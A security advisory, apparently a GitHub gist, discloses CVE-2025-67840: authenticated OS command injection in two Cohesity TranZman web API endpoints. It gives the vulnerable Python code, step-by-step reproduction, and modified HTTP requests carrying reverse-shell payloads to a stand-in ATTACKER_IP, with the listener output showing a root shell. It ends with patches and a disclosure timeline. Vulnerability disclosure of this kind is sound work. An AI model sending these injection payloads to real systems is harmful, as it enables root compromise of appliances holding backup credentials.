Skip to content

Instantly share code, notes, and snippets.

@GregDurys
Created March 2, 2026 17:29
Show Gist options
  • Select an option

  • Save GregDurys/ef7fc6a36646df927374bba8e7279270 to your computer and use it in GitHub Desktop.

Select an option

Save GregDurys/ef7fc6a36646df927374bba8e7279270 to your computer and use it in GitHub Desktop.
CVE-2025-67840 - Cohesity TranZman Web API Command Injection

CVE-2025-67840: Web API Command Injection in Cohesity TranZman

Overview

Field Value
CVE ID CVE-2025-67840
CVSS v3.1 7.2 (High)
Vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-78: OS Command Injection
Vendor Cohesity, Inc.
Product TranZman Migration Appliance
Affected Versions Release 4.0 Build 14614 through TZM_1757588060_SEP2025_FULL.depot

Description

The TranZman web application allows authenticated administrators to execute arbitrary shell commands with root privileges by modifying parameters in certain POST requests. At least two endpoints are affected: /api/v1/scheduler/run and /api/v1/actions/run. These endpoints do not properly validate or sanitise user input before incorporating it into system commands. Additional endpoints may be vulnerable.

Exploitation

Instance 1: Scheduler Endpoint

The /api/v1/scheduler/run endpoint in scheduler.py takes user input with minimal escaping (only double quotes):

# /opt/SRLtzm/web/tranzman/views/scheduler.py
@route_scheduler.route('/run', methods=['POST'])
@jwt_required
def run_scheduler_job():
    json_data = request.get_json(True, True)
    job = json_data['job']
    job = job.replace('"','\\"')
    job = '"' + job + '"'
    run_independent_script('cron_update', '-test', job)
    return jsonify({ 'msg': 'ok' }), 200

Steps to reproduce:

  1. Log in to the TranZman web application as admin
  2. Navigate to Scheduler
  3. Click "Run once" on an existing job (e.g., /opt/SRLtzm/bin/backup)
  4. Intercept the request in a web proxy

Original request:

POST /api/v1/scheduler/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>

{"job":"/opt/SRLtzm/bin/backup"}

Modified request with reverse shell:

POST /api/v1/scheduler/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>

{"job":"/bin/sh -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"msg":"ok"}

Attacker listener receives root shell:

$ ncat -vnl 1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from <IP_ADDRESS>:37898.
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0

Instance 2: Actions Endpoint

The /api/v1/actions/run endpoint in actions.py concatenates user input directly into a shell command without any sanitisation:

# /opt/SRLtzm/web/tranzman/views/actions.py
@route_actions.route('/run', methods=['POST'])
@jwt_required
def run_action():
    json_data = request.get_json(True, True)
    result, code = run_script('/opt/SRLtzm/bin/tzmqmcmd --cmd job ' +
        json_data['action'] + ' ' + json_data['cep'] + ' web', True)
    ...

Both action and cep parameters are injectable via shell separators (;) or subshells ($()).

Steps to reproduce:

  1. Log in to the TranZman web application as admin
  2. Navigate to Actions
  3. Click the play button on an action
  4. Intercept the request in a web proxy

Original request:

POST /api/v1/actions/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>

{"action":"AnnulConfig","cep":"7F7F7F7F"}

Modified request with reverse shell:

POST /api/v1/actions/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>

{"action":"AnnulConfig;$(sh -i >& /dev/tcp/ATTACKER_IP/1337 0>&1)","cep":"7F7F7F7F"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"cep":"7F7F7F7F","action":"AnnulConfig","msg":"Job started"}

Impact

An attacker who has the admin password (either through their regular job function or by guessing the password) could leverage this vulnerability to execute arbitrary commands as root, completely bypassing the intended CLISH restricted shell confinement.

  • Remote Code Execution: Arbitrary commands execute as root
  • Privilege Escalation: Bypasses CLISH restricted shell entirely
  • Full System Compromise: Complete control of the TranZman appliance
  • Data Exposure: Access to all backup metadata and credentials on the appliance

Remediation

Apply Cohesity patches in the following order:

  1. TZM_patch_1.patch
  2. TZM_1760106063_OCT2025R2_FULL.depot

Contact Cohesity support for the latest OVA version with integrated fixes.

Timeline

Date Event
26 September 2025 Reported to Cohesity
20 October 2025 Cohesity confirmed fix in patches
25 December 2025 Embargo period ended
27 December 2025 Public disclosure

Credit

Discovered by Greg Durys, LME

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment